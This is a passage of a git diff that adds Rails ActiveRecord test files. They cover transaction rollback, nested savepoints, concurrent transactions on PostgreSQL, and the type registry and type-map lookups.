+      alias :commit_db_transaction :real_commit_db_transaction rescue nil
+    end
+  end
+
+  def test_successful_with_instance_method
+    @first.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save
+      @second.save
+    end
+
+    assert Topic.find(1).approved?, "First should have been approved"
+    assert !Topic.find(2).approved?, "Second should have been unapproved"
+  end
+
+  def test_failing_on_exception
+    begin
+      Topic.transaction do
+        @first.approved  = true
+        @second.approved = false
+        @first.save
+        @second.save
+        raise "Bad things!"
+      end
+    rescue
+      # caught it
+    end
+
+    assert @first.approved?, "First should still be changed in the objects"
+    assert !@second.approved?, "Second should still be changed in the objects"
+
+    assert !Topic.find(1).approved?, "First shouldn't have been approved"
+    assert Topic.find(2).approved?, "Second should still be approved"
+  end
+
+  def test_raising_exception_in_callback_rollbacks_in_save
+    def @first.after_save_for_transaction
+      raise "Make the transaction rollback"
+    end
+
+    @first.approved = true
+    e = assert_raises(RuntimeError) { @first.save }
+    assert_equal "Make the transaction rollback", e.message
+    assert !Topic.find(1).approved?
+  end
+
+  def test_rolling_back_in_a_callback_rollbacks_before_save
+    def @first.before_save_for_transaction
+      raise ActiveRecord::Rollback
+    end
+    assert !@first.approved
+
+    Topic.transaction do
+      @first.approved = true
+      @first.save!
+    end
+    assert !Topic.find(@first.id).approved?, "Should not commit the approved flag"
+  end
+
+  def test_raising_exception_in_nested_transaction_restore_state_in_save
+    topic = Topic.new
+
+    def topic.after_save_for_transaction
+      raise "Make the transaction rollback"
+    end
+
+    assert_raises(RuntimeError) do
+      Topic.transaction { topic.save }
+    end
+
+    assert topic.new_record?, "#{topic.inspect} should be new record"
+  end
+
+  def test_transaction_state_is_cleared_when_record_is_persisted
+    author = Author.create! name: "foo"
+    author.name = nil
+    assert_not author.save
+    assert_not author.new_record?
+  end
+
+  def test_update_should_rollback_on_failure
+    author = Author.find(1)
+    posts_count = author.posts.size
+    assert posts_count > 0
+    status = author.update(name: nil, post_ids: [])
+    assert !status
+    assert_equal posts_count, author.posts.reload.size
+  end
+
+  def test_update_should_rollback_on_failure!
+    author = Author.find(1)
+    posts_count = author.posts.size
+    assert posts_count > 0
+    assert_raise(ActiveRecord::RecordInvalid) do
+      author.update!(name: nil, post_ids: [])
+    end
+    assert_equal posts_count, author.posts.reload.size
+  end
+
+  def test_cancellation_from_before_destroy_rollbacks_in_destroy
+    add_cancelling_before_destroy_with_db_side_effect_to_topic @first
+    nbooks_before_destroy = Book.count
+    status = @first.destroy
+    assert !status
+    @first.reload
+    assert_equal nbooks_before_destroy, Book.count
+  end
+
+  %w(validation save).each do |filter|
+    define_method("test_cancellation_from_before_filters_rollbacks_in_#{filter}") do
+      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic", @first)
+      nbooks_before_save = Book.count
+      original_author_name = @first.author_name
+      @first.author_name += "_this_should_not_end_up_in_the_db"
+      status = @first.save
+      assert !status
+      assert_equal original_author_name, @first.reload.author_name
+      assert_equal nbooks_before_save, Book.count
+    end
+
+    define_method("test_cancellation_from_before_filters_rollbacks_in_#{filter}!") do
+      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic", @first)
+      nbooks_before_save = Book.count
+      original_author_name = @first.author_name
+      @first.author_name += "_this_should_not_end_up_in_the_db"
+
+      begin
+        @first.save!
+      rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved
+      end
+
+      assert_equal original_author_name, @first.reload.author_name
+      assert_equal nbooks_before_save, Book.count
+    end
+  end
+
+  def test_callback_rollback_in_create
+    topic = Class.new(Topic) {
+      def after_create_for_transaction
+        raise "Make the transaction rollback"
+      end
+    }
+
+    new_topic = topic.new(title: "A new topic",
+                          author_name: "Ben",
+                          author_email_address: "ben@example.com",
+                          written_on: "2003-07-16t15:28:11.2233+01:00",
+                          last_read: "2004-04-15",
+                          bonus_time: "2005-01-30t15:28:00.00+01:00",
+                          content: "Have a nice day",
+                          approved: false)
+
+    new_record_snapshot = !new_topic.persisted?
+    id_present = new_topic.has_attribute?(Topic.primary_key)
+    id_snapshot = new_topic.id
+
+    # Make sure the second save gets the after_create callback called.
+    2.times do
+      new_topic.approved = true
+      e = assert_raises(RuntimeError) { new_topic.save }
+      assert_equal "Make the transaction rollback", e.message
+      assert_equal new_record_snapshot, !new_topic.persisted?, "The topic should have its old persisted value"
+      if id_snapshot.nil?
+        assert_nil new_topic.id, "The topic should have its old id"
+      else
+        assert_equal id_snapshot, new_topic.id, "The topic should have its old id"
+      end
+      assert_equal id_present, new_topic.has_attribute?(Topic.primary_key)
+    end
+  end
+
+  def test_callback_rollback_in_create_with_record_invalid_exception
+    topic = Class.new(Topic) {
+      def after_create_for_transaction
+        raise ActiveRecord::RecordInvalid.new(Author.new)
+      end
+    }
+
+    new_topic = topic.create(title: "A new topic")
+    assert !new_topic.persisted?, "The topic should not be persisted"
+    assert_nil new_topic.id, "The topic should not have an ID"
+  end
+
+  def test_nested_explicit_transactions
+    Topic.transaction do
+      Topic.transaction do
+        @first.approved  = true
+        @second.approved = false
+        @first.save
+        @second.save
+      end
+    end
+
+    assert Topic.find(1).approved?, "First should have been approved"
+    assert !Topic.find(2).approved?, "Second should have been unapproved"
+  end
+
+  def test_nested_transaction_with_new_transaction_applies_parent_state_on_rollback
+    topic_one = Topic.new(title: "A new topic")
+    topic_two = Topic.new(title: "Another new topic")
+
+    Topic.transaction do
+      topic_one.save
+
+      Topic.transaction(requires_new: true) do
+        topic_two.save
+
+        assert_predicate topic_one, :persisted?
+        assert_predicate topic_two, :persisted?
+      end
+
+      raise ActiveRecord::Rollback
+    end
+
+    refute_predicate topic_one, :persisted?
+    refute_predicate topic_two, :persisted?
+  end
+
+  def test_nested_transaction_without_new_transaction_applies_parent_state_on_rollback
+    topic_one = Topic.new(title: "A new topic")
+    topic_two = Topic.new(title: "Another new topic")
+
+    Topic.transaction do
+      topic_one.save
+
+      Topic.transaction do
+        topic_two.save
+
+        assert_predicate topic_one, :persisted?
+        assert_predicate topic_two, :persisted?
+      end
+
+      raise ActiveRecord::Rollback
+    end
+
+    refute_predicate topic_one, :persisted?
+    refute_predicate topic_two, :persisted?
+  end
+
+  def test_double_nested_transaction_applies_parent_state_on_rollback
+    topic_one = Topic.new(title: "A new topic")
+    topic_two = Topic.new(title: "Another new topic")
+    topic_three = Topic.new(title: "Another new topic of course")
+
+    Topic.transaction do
+      topic_one.save
+
+      Topic.transaction do
+        topic_two.save
+
+        Topic.transaction do
+          topic_three.save
+        end
+      end
+
+      assert_predicate topic_one, :persisted?
+      assert_predicate topic_two, :persisted?
+      assert_predicate topic_three, :persisted?
+
+      raise ActiveRecord::Rollback
+    end
+
+    refute_predicate topic_one, :persisted?
+    refute_predicate topic_two, :persisted?
+    refute_predicate topic_three, :persisted?
+  end
+
+  def test_manually_rolling_back_a_transaction
+    Topic.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save
+      @second.save
+
+      raise ActiveRecord::Rollback
+    end
+
+    assert @first.approved?, "First should still be changed in the objects"
+    assert !@second.approved?, "Second should still be changed in the objects"
+
+    assert !Topic.find(1).approved?, "First shouldn't have been approved"
+    assert Topic.find(2).approved?, "Second should still be approved"
+  end
+
+  def test_invalid_keys_for_transaction
+    assert_raise ArgumentError do
+      Topic.transaction nested: true do
+      end
+    end
+  end
+
+  def test_force_savepoint_in_nested_transaction
+    Topic.transaction do
+      @first.approved = true
+      @second.approved = false
+      @first.save!
+      @second.save!
+
+      begin
+        Topic.transaction requires_new: true do
+          @first.happy = false
+          @first.save!
+          raise
+        end
+      rescue
+      end
+    end
+
+    assert @first.reload.approved?
+    assert !@second.reload.approved?
+  end if Topic.connection.supports_savepoints?
+
+  def test_force_savepoint_on_instance
+    @first.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save!
+      @second.save!
+
+      begin
+        @second.transaction requires_new: true do
+          @first.happy = false
+          @first.save!
+          raise
+        end
+      rescue
+      end
+    end
+
+    assert @first.reload.approved?
+    assert !@second.reload.approved?
+  end if Topic.connection.supports_savepoints?
+
+  def test_no_savepoint_in_nested_transaction_without_force
+    Topic.transaction do
+      @first.approved = true
+      @second.approved = false
+      @first.save!
+      @second.save!
+
+      begin
+        Topic.transaction do
+          @first.approved = false
+          @first.save!
+          raise
+        end
+      rescue
+      end
+    end
+
+    assert !@first.reload.approved?
+    assert !@second.reload.approved?
+  end if Topic.connection.supports_savepoints?
+
+  def test_many_savepoints
+    Topic.transaction do
+      @first.content = "One"
+      @first.save!
+
+      begin
+        Topic.transaction requires_new: true do
+          @first.content = "Two"
+          @first.save!
+
+          begin
+            Topic.transaction requires_new: true do
+              @first.content = "Three"
+              @first.save!
+
+              begin
+                Topic.transaction requires_new: true do
+                  @first.content = "Four"
+                  @first.save!
+                  raise
+                end
+              rescue
+              end
+
+              @three = @first.reload.content
+              raise
+            end
+          rescue
+          end
+
+          @two = @first.reload.content
+          raise
+        end
+      rescue
+      end
+
+      @one = @first.reload.content
+    end
+
+    assert_equal "One", @one
+    assert_equal "Two", @two
+    assert_equal "Three", @three
+  end if Topic.connection.supports_savepoints?
+
+  def test_using_named_savepoints
+    Topic.transaction do
+      @first.approved = true
+      @first.save!
+      Topic.connection.create_savepoint("first")
+
+      @first.approved = false
+      @first.save!
+      Topic.connection.rollback_to_savepoint("first")
+      assert @first.reload.approved?
+
+      @first.approved = false
+      @first.save!
+      Topic.connection.release_savepoint("first")
+      assert_not @first.reload.approved?
+    end
+  end if Topic.connection.supports_savepoints?
+
+  def test_releasing_named_savepoints
+    Topic.transaction do
+      Topic.connection.create_savepoint("another")
+      Topic.connection.release_savepoint("another")
+
+      # The savepoint is now gone and we can't remove it again.
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Topic.connection.release_savepoint("another")
+      end
+    end
+  end
+
+  def test_savepoints_name
+    Topic.transaction do
+      assert_nil Topic.connection.current_savepoint_name
+      assert_nil Topic.connection.current_transaction.savepoint_name
+
+      Topic.transaction(requires_new: true) do
+        assert_equal "active_record_1", Topic.connection.current_savepoint_name
+        assert_equal "active_record_1", Topic.connection.current_transaction.savepoint_name
+
+        Topic.transaction(requires_new: true) do
+          assert_equal "active_record_2", Topic.connection.current_savepoint_name
+          assert_equal "active_record_2", Topic.connection.current_transaction.savepoint_name
+        end
+
+        assert_equal "active_record_1", Topic.connection.current_savepoint_name
+        assert_equal "active_record_1", Topic.connection.current_transaction.savepoint_name
+      end
+    end
+  end
+
+  def test_rollback_when_commit_raises
+    assert_called(Topic.connection, :begin_db_transaction) do
+      Topic.connection.stub(:commit_db_transaction, -> { raise("OH NOES") }) do
+        assert_called(Topic.connection, :rollback_db_transaction) do
+
+          e = assert_raise RuntimeError do
+            Topic.transaction do
+              # do nothing
+            end
+          end
+          assert_equal "OH NOES", e.message
+        end
+      end
+    end
+  end
+
+  def test_rollback_when_saving_a_frozen_record
+    topic = Topic.new(title: "test")
+    topic.freeze
+    e = assert_raise(RuntimeError) { topic.save }
+    # Not good enough, but we can't do much
+    # about it since there is no specific error
+    # for frozen objects.
+    assert_match(/frozen/i, e.message)
+    assert !topic.persisted?, "not persisted"
+    assert_nil topic.id
+    assert topic.frozen?, "not frozen"
+  end
+
+  def test_rollback_when_thread_killed
+    return if in_memory_db?
+
+    queue = Queue.new
+    thread = Thread.new do
+      Topic.transaction do
+        @first.approved  = true
+        @second.approved = false
+        @first.save
+
+        queue.push nil
+        sleep
+
+        @second.save
+      end
+    end
+
+    queue.pop
+    thread.kill
+    thread.join
+
+    assert @first.approved?, "First should still be changed in the objects"
+    assert !@second.approved?, "Second should still be changed in the objects"
+
+    assert !Topic.find(1).approved?, "First shouldn't have been approved"
+    assert Topic.find(2).approved?, "Second should still be approved"
+  end
+
+  def test_restore_active_record_state_for_all_records_in_a_transaction
+    topic_without_callbacks = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+    end
+
+    topic_1 = Topic.new(title: "test_1")
+    topic_2 = Topic.new(title: "test_2")
+    topic_3 = topic_without_callbacks.new(title: "test_3")
+
+    Topic.transaction do
+      assert topic_1.save
+      assert topic_2.save
+      assert topic_3.save
+      @first.save
+      @second.destroy
+      assert topic_1.persisted?, "persisted"
+      assert_not_nil topic_1.id
+      assert topic_2.persisted?, "persisted"
+      assert_not_nil topic_2.id
+      assert topic_3.persisted?, "persisted"
+      assert_not_nil topic_3.id
+      assert @first.persisted?, "persisted"
+      assert_not_nil @first.id
+      assert @second.destroyed?, "destroyed"
+      raise ActiveRecord::Rollback
+    end
+
+    assert !topic_1.persisted?, "not persisted"
+    assert_nil topic_1.id
+    assert !topic_2.persisted?, "not persisted"
+    assert_nil topic_2.id
+    assert !topic_3.persisted?, "not persisted"
+    assert_nil topic_3.id
+    assert @first.persisted?, "persisted"
+    assert_not_nil @first.id
+    assert !@second.destroyed?, "not destroyed"
+  end
+
+  def test_restore_frozen_state_after_double_destroy
+    topic = Topic.create
+    reply = topic.replies.create
+
+    Topic.transaction do
+      topic.destroy # calls #destroy on reply (since dependent: destroy)
+      reply.destroy
+
+      raise ActiveRecord::Rollback
+    end
+
+    assert_not reply.frozen?
+    assert_not topic.frozen?
+  end
+
+  def test_restore_id_after_rollback
+    topic = Topic.new
+
+    Topic.transaction do
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_nil topic.id
+  end
+
+  def test_restore_custom_primary_key_after_rollback
+    movie = Movie.new(name: "foo")
+
+    Movie.transaction do
+      movie.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_nil movie.id
+  end
+
+  def test_assign_id_after_rollback
+    topic = Topic.create!
+
+    Topic.transaction do
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    topic.id = nil
+    assert_nil topic.id
+  end
+
+  def test_assign_custom_primary_key_after_rollback
+    movie = Movie.create!(name: "foo")
+
+    Movie.transaction do
+      movie.save!
+      raise ActiveRecord::Rollback
+    end
+
+    movie.id = nil
+    assert_nil movie.id
+  end
+
+  def test_rollback_of_frozen_records
+    topic = Topic.create.freeze
+    Topic.transaction do
+      topic.destroy
+      raise ActiveRecord::Rollback
+    end
+    assert topic.frozen?, "frozen"
+  end
+
+  def test_rollback_for_freshly_persisted_records
+    topic = Topic.create
+    Topic.transaction do
+      topic.destroy
+      raise ActiveRecord::Rollback
+    end
+    assert topic.persisted?, "persisted"
+  end
+
+  def test_sqlite_add_column_in_transaction
+    return true unless current_adapter?(:SQLite3Adapter)
+
+    # Test first if column creation/deletion works correctly when no
+    # transaction is in place.
+    #
+    # We go back to the connection for the column queries because
+    # Topic.columns is cached and won't report changes to the DB
+
+    assert_nothing_raised do
+      Topic.reset_column_information
+      Topic.connection.add_column("topics", "stuff", :string)
+      assert_includes Topic.column_names, "stuff"
+
+      Topic.reset_column_information
+      Topic.connection.remove_column("topics", "stuff")
+      assert_not_includes Topic.column_names, "stuff"
+    end
+
+    if Topic.connection.supports_ddl_transactions?
+      assert_nothing_raised do
+        Topic.transaction { Topic.connection.add_column("topics", "stuff", :string) }
+      end
+    else
+      Topic.transaction do
+        assert_raise(ActiveRecord::StatementInvalid) { Topic.connection.add_column("topics", "stuff", :string) }
+        raise ActiveRecord::Rollback
+      end
+    end
+  ensure
+    begin
+      Topic.connection.remove_column("topics", "stuff")
+    rescue
+    ensure
+      Topic.reset_column_information
+    end
+  end
+
+  def test_transactions_state_from_rollback
+    connection = Topic.connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+    assert transaction.open?
+    assert !transaction.state.rolledback?
+    assert !transaction.state.committed?
+
+    transaction.rollback
+
+    assert transaction.state.rolledback?
+    assert !transaction.state.committed?
+  end
+
+  def test_transactions_state_from_commit
+    connection = Topic.connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+    assert transaction.open?
+    assert !transaction.state.rolledback?
+    assert !transaction.state.committed?
+
+    transaction.commit
+
+    assert !transaction.state.rolledback?
+    assert transaction.state.committed?
+  end
+
+  def test_set_state_method_is_deprecated
+    connection = Topic.connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+    transaction.commit
+
+    assert_deprecated do
+      transaction.state.set_state(:rolledback)
+    end
+  end
+
+  def test_mark_transaction_state_as_committed
+    connection = Topic.connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+    transaction.rollback
+
+    assert_equal :committed, transaction.state.commit!
+  end
+
+  def test_mark_transaction_state_as_rolledback
+    connection = Topic.connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+    transaction.commit
+
+    assert_equal :rolledback, transaction.state.rollback!
+  end
+
+  def test_mark_transaction_state_as_nil
+    connection = Topic.connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+    transaction.commit
+
+    assert_nil transaction.state.nullify!
+  end
+
+  def test_transaction_rollback_with_primarykeyless_tables
+    connection = ActiveRecord::Base.connection
+    connection.create_table(:transaction_without_primary_keys, force: true, id: false) do |t|
+      t.integer :thing_id
+    end
+
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "transaction_without_primary_keys"
+      after_commit {} # necessary to trigger the has_transactional_callbacks branch
+    end
+
+    assert_no_difference(-> { klass.count }) do
+      ActiveRecord::Base.transaction do
+        klass.create!
+        raise ActiveRecord::Rollback
+      end
+    end
+  ensure
+    connection.drop_table "transaction_without_primary_keys", if_exists: true
+  end
+
+  private
+
+    %w(validation save destroy).each do |filter|
+      define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do |topic|
+        meta = class << topic; self; end
+        meta.send("define_method", "before_#{filter}_for_transaction") do
+          Book.create
+          throw(:abort)
+        end
+      end
+    end
+end
+
+class TransactionsWithTransactionalFixturesTest < ActiveRecord::TestCase
+  self.use_transactional_tests = true
+  fixtures :topics
+
+  def test_automatic_savepoint_in_outer_transaction
+    @first = Topic.find(1)
+
+    begin
+      Topic.transaction do
+        @first.approved = true
+        @first.save!
+        raise
+      end
+    rescue
+      assert !@first.reload.approved?
+    end
+  end
+
+  def test_no_automatic_savepoint_for_inner_transaction
+    @first = Topic.find(1)
+
+    Topic.transaction do
+      @first.approved = true
+      @first.save!
+
+      begin
+        Topic.transaction do
+          @first.approved = false
+          @first.save!
+          raise
+        end
+      rescue
+      end
+    end
+
+    assert !@first.reload.approved?
+  end
+end if Topic.connection.supports_savepoints?
+
+if current_adapter?(:PostgreSQLAdapter)
+  class ConcurrentTransactionTest < TransactionTest
+    # This will cause transactions to overlap and fail unless they are performed on
+    # separate database connections.
+    unless in_memory_db?
+      def test_transaction_per_thread
+        threads = 3.times.map do
+          Thread.new do
+            Topic.transaction do
+              topic = Topic.find(1)
+              topic.approved = !topic.approved?
+              assert topic.save!
+              topic.approved = !topic.approved?
+              assert topic.save!
+            end
+            Topic.connection.close
+          end
+        end
+
+        threads.each(&:join)
+      end
+    end
+
+    # Test for dirty reads among simultaneous transactions.
+    def test_transaction_isolation__read_committed
+      # Should be invariant.
+      original_salary = Developer.find(1).salary
+      temporary_salary = 200000
+
+      assert_nothing_raised do
+        threads = (1..3).map do
+          Thread.new do
+            Developer.transaction do
+              # Expect original salary.
+              dev = Developer.find(1)
+              assert_equal original_salary, dev.salary
+
+              dev.salary = temporary_salary
+              dev.save!
+
+              # Expect temporary salary.
+              dev = Developer.find(1)
+              assert_equal temporary_salary, dev.salary
+
+              dev.salary = original_salary
+              dev.save!
+
+              # Expect original salary.
+              dev = Developer.find(1)
+              assert_equal original_salary, dev.salary
+            end
+            Developer.connection.close
+          end
+        end
+
+        # Keep our eyes peeled.
+        threads << Thread.new do
+          10.times do
+            sleep 0.05
+            Developer.transaction do
+              # Always expect original salary.
+              assert_equal original_salary, Developer.find(1).salary
+            end
+          end
+          Developer.connection.close
+        end
+
+        threads.each(&:join)
+      end
+
+      assert_equal original_salary, Developer.find(1).salary
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/adapter_specific_registry_test.rb b/activerecord/test/cases/type/adapter_specific_registry_test.rb
new file mode 100644
index 0000000000..b58bdd5549
--- /dev/null
+++ b/activerecord/test/cases/type/adapter_specific_registry_test.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class AdapterSpecificRegistryTest < ActiveRecord::TestCase
+    test "a class can be registered for a symbol" do
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, ::String)
+      registry.register(:bar, ::Array)
+
+      assert_equal "", registry.lookup(:foo)
+      assert_equal [], registry.lookup(:bar)
+    end
+
+    test "a block can be registered" do
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo) do |*args|
+        [*args, "block for foo"]
+      end
+      registry.register(:bar) do |*args|
+        [*args, "block for bar"]
+      end
+
+      assert_equal [:foo, 1, "block for foo"], registry.lookup(:foo, 1)
+      assert_equal [:foo, 2, "block for foo"], registry.lookup(:foo, 2)
+      assert_equal [:bar, 1, 2, 3, "block for bar"], registry.lookup(:bar, 1, 2, 3)
+    end
+
+    test "filtering by adapter" do
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, String, adapter: :sqlite3)
+      registry.register(:foo, Array, adapter: :postgresql)
+
+      assert_equal "", registry.lookup(:foo, adapter: :sqlite3)
+      assert_equal [], registry.lookup(:foo, adapter: :postgresql)
+    end
+
+    test "an error is raised if both a generic and adapter specific type match" do
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, String)
+      registry.register(:foo, Array, adapter: :postgresql)
+
+      assert_raises TypeConflictError do
+        registry.lookup(:foo, adapter: :postgresql)
+      end
+      assert_equal "", registry.lookup(:foo, adapter: :sqlite3)
+    end
+
+    test "a generic type can explicitly override an adapter specific type" do
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, String, override: true)
+      registry.register(:foo, Array, adapter: :postgresql)
+
+      assert_equal "", registry.lookup(:foo, adapter: :postgresql)
+      assert_equal "", registry.lookup(:foo, adapter: :sqlite3)
+    end
+
+    test "a generic type can explicitly allow an adapter type to be used instead" do
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, String, override: false)
+      registry.register(:foo, Array, adapter: :postgresql)
+
+      assert_equal [], registry.lookup(:foo, adapter: :postgresql)
+      assert_equal "", registry.lookup(:foo, adapter: :sqlite3)
+    end
+
+    test "a reasonable error is given when no type is found" do
+      registry = Type::AdapterSpecificRegistry.new
+
+      e = assert_raises(ArgumentError) do
+        registry.lookup(:foo)
+      end
+
+      assert_equal "Unknown type :foo", e.message
+    end
+
+    test "construct args are passed to the type" do
+      type = Struct.new(:args)
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, type)
+
+      assert_equal type.new, registry.lookup(:foo)
+      assert_equal type.new(:ordered_arg), registry.lookup(:foo, :ordered_arg)
+      assert_equal type.new(keyword: :arg), registry.lookup(:foo, keyword: :arg)
+      assert_equal type.new(keyword: :arg), registry.lookup(:foo, keyword: :arg, adapter: :postgresql)
+    end
+
+    test "registering a modifier" do
+      decoration = Struct.new(:value)
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, String)
+      registry.register(:bar, Hash)
+      registry.add_modifier({ array: true }, decoration)
+
+      assert_equal decoration.new(""), registry.lookup(:foo, array: true)
+      assert_equal decoration.new({}), registry.lookup(:bar, array: true)
+      assert_equal "", registry.lookup(:foo)
+    end
+
+    test "registering multiple modifiers" do
+      decoration = Struct.new(:value)
+      other_decoration = Struct.new(:value)
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, String)
+      registry.add_modifier({ array: true }, decoration)
+      registry.add_modifier({ range: true }, other_decoration)
+
+      assert_equal "", registry.lookup(:foo)
+      assert_equal decoration.new(""), registry.lookup(:foo, array: true)
+      assert_equal other_decoration.new(""), registry.lookup(:foo, range: true)
+      assert_equal(
+        decoration.new(other_decoration.new("")),
+        registry.lookup(:foo, array: true, range: true)
+      )
+    end
+
+    test "registering adapter specific modifiers" do
+      decoration = Struct.new(:value)
+      type = Struct.new(:args)
+      registry = Type::AdapterSpecificRegistry.new
+      registry.register(:foo, type)
+      registry.add_modifier({ array: true }, decoration, adapter: :postgresql)
+
+      assert_equal(
+        decoration.new(type.new(keyword: :arg)),
+        registry.lookup(:foo, array: true, adapter: :postgresql, keyword: :arg)
+      )
+      assert_equal(
+        type.new(array: true),
+        registry.lookup(:foo, array: true, adapter: :sqlite3)
+      )
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/date_time_test.rb b/activerecord/test/cases/type/date_time_test.rb
new file mode 100644
index 0000000000..c9558e25b5
--- /dev/null
+++ b/activerecord/test/cases/type/date_time_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/task"
+
+module ActiveRecord
+  module Type
+    class DateTimeTest < ActiveRecord::TestCase
+      def test_datetime_seconds_precision_applied_to_timestamp
+        skip "This test is invalid if subsecond precision isn't supported" unless subsecond_precision_supported?
+        p = Task.create!(starting: ::Time.now)
+        assert_equal p.starting.usec, p.reload.starting.usec
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/integer_test.rb b/activerecord/test/cases/type/integer_test.rb
new file mode 100644
index 0000000000..15d1a675a1
--- /dev/null
+++ b/activerecord/test/cases/type/integer_test.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/company"
+
+module ActiveRecord
+  module Type
+    class IntegerTest < ActiveRecord::TestCase
+      test "casting ActiveRecord models" do
+        type = Type::Integer.new
+        firm = Firm.create(name: "Apple")
+        assert_nil type.cast(firm)
+      end
+
+      test "values which are out of range can be re-assigned" do
+        klass = Class.new(ActiveRecord::Base) do
+          self.table_name = "posts"
+          attribute :foo, :integer
+        end
+        model = klass.new
+
+        model.foo = 2147483648
+        model.foo = 1
+
+        assert_equal 1, model.foo
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/string_test.rb b/activerecord/test/cases/type/string_test.rb
new file mode 100644
index 0000000000..8c51b30fdd
--- /dev/null
+++ b/activerecord/test/cases/type/string_test.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class StringTypeTest < ActiveRecord::TestCase
+    test "string mutations are detected" do
+      klass = Class.new(Base)
+      klass.table_name = "authors"
+
+      author = klass.create!(name: "Sean")
+      assert_not author.changed?
+
+      author.name << " Griffin"
+      assert author.name_changed?
+
+      author.save!
+      author.reload
+
+      assert_equal "Sean Griffin", author.name
+      assert_not author.changed?
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/type_map_test.rb b/activerecord/test/cases/type/type_map_test.rb
new file mode 100644
index 0000000000..f3699c11a2
--- /dev/null
+++ b/activerecord/test/cases/type/type_map_test.rb
@@ -0,0 +1,178 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module Type
+    class TypeMapTest < ActiveRecord::TestCase
+      def test_default_type
+        mapping = TypeMap.new
+
+        assert_kind_of Value, mapping.lookup(:undefined)
+      end
+
+      def test_registering_types
+        boolean = Boolean.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/boolean/i, boolean)
+
+        assert_equal mapping.lookup("boolean"), boolean
+      end
+
+      def test_overriding_registered_types
+        time = Time.new
+        timestamp = DateTime.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/time/i, time)
+        mapping.register_type(/time/i, timestamp)
+
+        assert_equal mapping.lookup("time"), timestamp
+      end
+
+      def test_fuzzy_lookup
+        string = String.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/varchar/i, string)
+
+        assert_equal mapping.lookup("varchar(20)"), string
+      end
+
+      def test_aliasing_types
+        string = String.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/string/i, string)
+        mapping.alias_type(/varchar/i, "string")
+
+        assert_equal mapping.lookup("varchar"), string
+      end
+
+      def test_changing_type_changes_aliases
+        time = Time.new
+        timestamp = DateTime.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/timestamp/i, time)
+        mapping.alias_type(/datetime/i, "timestamp")
+        mapping.register_type(/timestamp/i, timestamp)
+
+        assert_equal mapping.lookup("datetime"), timestamp
+      end
+
+      def test_aliases_keep_metadata
+        mapping = TypeMap.new
+
+        mapping.register_type(/decimal/i) { |sql_type| sql_type }
+        mapping.alias_type(/number/i, "decimal")
+
+        assert_equal mapping.lookup("number(20)"), "decimal(20)"
+        assert_equal mapping.lookup("number"), "decimal"
+      end
+
+      def test_register_proc
+        string = String.new
+        binary = Binary.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/varchar/i) do |type|
+          if type.include?("(")
+            string
+          else
+            binary
+          end
+        end
+
+        assert_equal mapping.lookup("varchar(20)"), string
+        assert_equal mapping.lookup("varchar"), binary
+      end
+
+      def test_additional_lookup_args
+        mapping = TypeMap.new
+
+        mapping.register_type(/varchar/i) do |type, limit|
+          if limit > 255
+            "text"
+          else
+            "string"
+          end
+        end
+        mapping.alias_type(/string/i, "varchar")
+
+        assert_equal mapping.lookup("varchar", 200), "string"
+        assert_equal mapping.lookup("varchar", 400), "text"
+        assert_equal mapping.lookup("string", 400), "text"
+      end
+
+      def test_requires_value_or_block
+        mapping = TypeMap.new
+
+        assert_raises(ArgumentError) do
+          mapping.register_type(/only key/i)
+        end
+      end
+
+      def test_lookup_non_strings
+        mapping = HashLookupTypeMap.new
+
+        mapping.register_type(1, "string")
+        mapping.register_type(2, "int")
+        mapping.alias_type(3, 1)
+
+        assert_equal mapping.lookup(1), "string"
+        assert_equal mapping.lookup(2), "int"
+        assert_equal mapping.lookup(3), "string"
+        assert_kind_of Type::Value, mapping.lookup(4)
+      end
+
+      def test_fetch
+        mapping = TypeMap.new
